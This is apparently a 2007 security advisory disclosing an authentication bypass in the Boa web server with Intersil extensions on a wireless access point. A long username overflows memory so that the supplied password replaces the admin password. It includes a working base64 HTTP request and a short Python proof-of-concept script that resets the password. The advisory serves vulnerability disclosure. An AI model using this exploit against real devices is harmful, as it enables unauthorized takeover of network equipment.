Secure Network - Security Research Advisory

Vuln name: HTTP Basic Authentication Bypass
Systems affected: Boa/0.93.15 (with Intersil Extensions) based systems (i.e. FreeLan 802.11g Wireless Access Point (RO80211G-AP))
Severity: High
Local/Remote: Remote
Vendor URL: http://www.boa.org - http://isl3893.sourceforge.net - http://www.roper-europe.com
Author(s): Luca "ikki" Carettoni - luca.carettoni@securenetwork.it, Claudio "paper" Merloni - claudio.merloni@securenetwork.it
Vendor disclosure: 24th August 2007
Vendor acknowledged: - 
Vendor patch release: -
Public disclosure: 10th September 2007
Advisory number: SN-2007-02
Advisory URL: http://www.securenetwork.it/advisories/

*** SUMMARY ***

Boa is a single-tasking HTTP server. That means that, unlike traditional web servers, it does not fork for each incoming connection, nor does it fork many copies of itself to handle multiple connections.
Boa is very low on hardware usage and is therefore used on many embedded systems, including routers, wireless access points and portable devices.
The Intersil isl3893 is an arm9 System On Chip for wireless access points. The goal of the project is to make an embedded distribution built around uclibc and uclinux.

It is possible to overwrite the "admin" password in memory, thus allowing an attacker to gain access to the web interface and alter configuration parameters. This vulnerability can be combined with another known vulnerability (CVE-2000-0920) to read arbitrary files from the device filesystem.

It's important to notice that Boa httpd doesn't have any authentication code built in; the flaw is inside the Intersil extensions but we can't confirm it because no source code is released.

*** VULNERABILITY DETAILS ***

When asked for HTTP basic authentication credentials, it is possible to fill up the stack memory of the boa process passing a string longer than 127 characters as username. In that situation the string passed as password will overwrite the current in memory value of the admin password, thus enabling the attacker to reset it to a known value. Once reset the password, the attacker has of course access to the configuration panel.

As an example, the password can be set to "owned" sending the following request to the web server:

GET / HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYTpvd25lZA==

The basic authorization header parameter contains the base64/mime encoded string "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:owned"

*** EXPLOIT ***

The vulnerability can exploited through simple HTTP request, i.e. using a common web browser (using the authentication credential specified above).

The following snippet of python code can be used to reproduce the issue:

###### CUT HERE ######

#!/usr/bin/env python
import urllib2

SERVER_IP_ADDRESS = '192.168.0.1'
USERNAME = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
NEW_PASSWORD = 'owned'

auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password('LOGIN(default username & password is admin)', SERVER_IP_ADDRESS, USERNAME, NEW_PASSWORD);
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
res = urllib2.urlopen('http://'+SERVER_IP_ADDRESS+'/home/index.shtml')

###### CUT HERE ######

*** FIX INFORMATION ***

N/A

*** WORKAROUNDS ***

N/A

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*** LEGAL NOTICES ***
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